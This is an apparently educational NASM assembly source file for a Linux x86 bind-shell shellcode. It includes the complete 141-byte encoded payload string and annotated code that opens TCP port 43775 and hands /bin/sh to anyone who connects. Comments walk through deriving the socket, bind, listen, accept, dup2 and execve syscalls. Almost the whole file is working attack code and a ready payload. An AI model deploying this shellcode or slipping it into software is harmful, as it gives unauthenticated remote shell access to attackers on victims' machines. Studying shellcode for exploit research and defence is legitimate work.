; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see .
;
;
; Filename: shell_bind_tcp.nasm
; Author: Andrey Arapov
; 2013 March
;
; DESC:
; - Binds to a port 43775
; - Execs Shell on incoming connection
;
;
; Shellcode size: 141 bytes
; Shellcode "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff"
;
; Port is the last two bytes of the shellcode. In hex \xaa\xff (0xaaff = 43775)
;
;
;
global _start
section .text
_start:
;
; Reverse engineering
;
; 1. Found a program that can listen over TCP/IP and strace it in order to find needed syscalls
; $ strace nc -l 31111 2>&1 |grep -Ev "mmap|munmap|mprotect|access|read|open|fstat|close|arch_prctl"
; ...
; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
; bind(3, {sa_family=AF_INET, sin_port=htons(31111), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
; listen(3, 1) = 0
;
;
; 2. Found a syscall for socket
; $ grep -i socket /usr/include/asm/unistd_32.h
; #define __NR_socketcall 102
;
;
; 3. Read manual for socket system calls (man 2 socketcall)
; int socketcall(int call, unsigned long *args)
;
; The manual for socketcall does not tell much :/
; Thus found a good description here:
; http://www.tutorialspoint.com/unix_sockets/socket_core_functions.htm
;
;
; 4. From nc strace I need socket, bind and listen
; Below is the list of functions and their call numbers for socketcall
; $ grep -Ei "socket|bind|listen|accept" /usr/include/linux/net.h |grep define |head -4
; #define SYS_SOCKET 1 /* sys_socket(2) */
; #define SYS_BIND 2 /* sys_bind(2) */
; #define SYS_LISTEN 4 /* sys_listen(2) */
; #define SYS_ACCEPT 5 /* sys_accept(2) */
;
; Also I found a list of functions (or call numbers) for socketcall
; $ grep SYS_ /usr/include/linux/net.h
;
;
; 5. Found parameters for socket
; $ grep -Ew "AF_INET|PF_INET|SOCK_STREAM" /usr/include/bits/socket.h
; SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
; #define PF_INET 2 /* IP protocol family. */
; #define AF_INET PF_INET
;
; $ grep IPPROTO_TCP /usr/include/netinet/in.h |head -1
; IPPROTO_TCP = 6, /* Transmission Control Protocol. */
;
;
;
; Starting to code
;
;
; =============================== SOCKET =====================================
;
; int socket(int domain, int type, int protocol);
;
; int socketcall(int call, unsigned long *args)
; socketcall SYS_SOCKET socket() args
; EAX EBX ECX
; 102 1 (2, 1, 6)
;
; SYS_SOCKET will return file descriptor (fd) in EAX.
;
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 1 ; SYS_SOCKET socket()
; ECX
xor ecx, ecx
push ecx
push BYTE 6 ; IPPROTO_TCP || int protocol);
push BYTE 1 ; SOCK_STREAM || int type,
push BYTE 2 ; AF_INET || socket(int domain,
mov ecx, esp ; ECX - PTR to arguments for socket()
int 0x80
; EAX return
mov esi, eax ; save socket fd in ESI for later
;
; =============================== BIND =======================================
;
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
;
; int socketcall(int call, unsigned long *args)
; socketcall SYS_BIND bind() args
; EAX, EBX, ECX
; 102 2 (sockfd, {2, 43775, 0}, 16)
;
jmp short call_get_port
port_in_esp:
pop edi ; getting port address from ESP
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 2 ; SYS_BIND bind()
; ECX
xor edx, edx
push edx ; ANY HOST (0.0.0.0)} || struct in_addr sin_addr (unsigned long s_addr) };
;push DWORD 0x0100007f ; For 127.0.0.1 HOST
;push WORD 0xffaa ; PORT 43775 (reverse), || unsigned short sin_port,
push WORD [edi] ; PORT specified in the bottom of the code / shellcode. Last two bytes in HEX.
push WORD bx ; 2 - AF_INET || struct sockaddr { short sin_family,
mov ecx, esp ; Save PTR to sockaddr struct in ECX
push BYTE 16 ; socklen_t addrlen);
push ecx ; const struct sockaddr *addr,
push esi ; bind(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for bind()
int 0x80
;
; =============================== LISTEN =====================================
;
; int listen(int sockfd, int backlog);
;
; int socketcall(int call, unsigned long *args)
; socketcall SYS_LISTEN listen() args
; EAX, EBX, ECX
; 102 4 (sockfd, 1)
;
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 4 ; SYS_LISTEN listen()
; ECX
push BYTE 1 ; int backlog);
push esi ; listen(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for listen()
int 0x80
;
; =============================== ACCEPT =====================================
;
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
;
; int socketcall(int call, unsigned long *args)
; socketcall SYS_ACCEPT accept() args
; EAX, EBX, ECX
; 102 5 (sockfd, NULL, 0)
;
; EAX
xor eax, eax
mov al, 102 ; socketcall
; EBX
xor ebx, ebx
mov bl, 5 ; SYS_ACCEPT = accept()
; ECX
xor edx, edx
push edx ; socklen_t *addrlen = 0);
push edx ; struct sockaddr *addr = NULL,
push esi ; listen(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for accept()
int 0x80
;
; =============================== DUP FD =====================================
;
; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
; man 2 dup2
; int dup2(int oldfd, int newfd);
; EAX, EBX, ECX
; 63 sockfd 0
; 63 sockfd 1
; 63 sockfd 2
;
; move our sockfd to EBX
mov ebx, eax
xor eax, eax
mov al, 63 ; dup2 syscall
xor ecx, ecx ; 0 - stdin
int 0x80 ; call dup2(sockfd, 0)
mov al, 63 ; dup2 syscall
mov cl, 1 ; 1 - stdout
int 0x80 ; call dup2(sockfd, 1)
mov al, 63 ; dup2 syscall
mov cl, 2 ; 2 - stderr
int 0x80 ; call dup2(sockfd, 2)
;
; =============================== EXECVE =====================================
;
; Now as we forwarded sockfd to a client, we can spawn shell.
; Prepare the path, in little-endian, using the Python
; >>> '//bin/sh'[::-1].encode('hex')
; '68732f6e69622f2f'
;
; int execve(const char *filename, char *const argv[], char *const envp[]);
; EAX EBX, ECX, EDX
; 11 '//bin/sh' PTR to EBX NULL
;
;
; EAX
xor eax, eax
mov al, 11 ; execve syscall
; EBX
xor edx, edx
push edx ; NULL termination of '//bin/sh' string
push 0x68732f6e ; '//bin/sh' in reverse
push 0x69622f2f ; beginning of '//bin/sh' string is here
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
; ECX
push edx ; NULL termination of a stack
push ebx ; load our '//bin/sh' on a stack
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
; EDX
push edx ; NULL terminator
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
int 0x80 ; call execve(EBX, ECX, EDX)
;
; =============================== EXIT(0) =====================================
;
; As long as 'man 2 execve' tells us
; execve() does not return on success, and the text, data, bss, and stack of
; the calling process are overwritten by that of the program loaded.
; We can keep it *COMMENTED*.
;
; void _exit(int status);
; EAX EBX
; 1 0
;
; /usr/include/asm/unistd_32.h:#define __NR_exit 1
; xor eax, eax
; mov al, 1 ; exit syscall
; xor ebx, ebx ; 0 code means success
; int 0x80
;
call_get_port:
call port_in_esp
; dw 0xffaa ; WORD (43775 in reverse hex)
db 0xaa, 0xff ; BYTE (43775 in straight hex)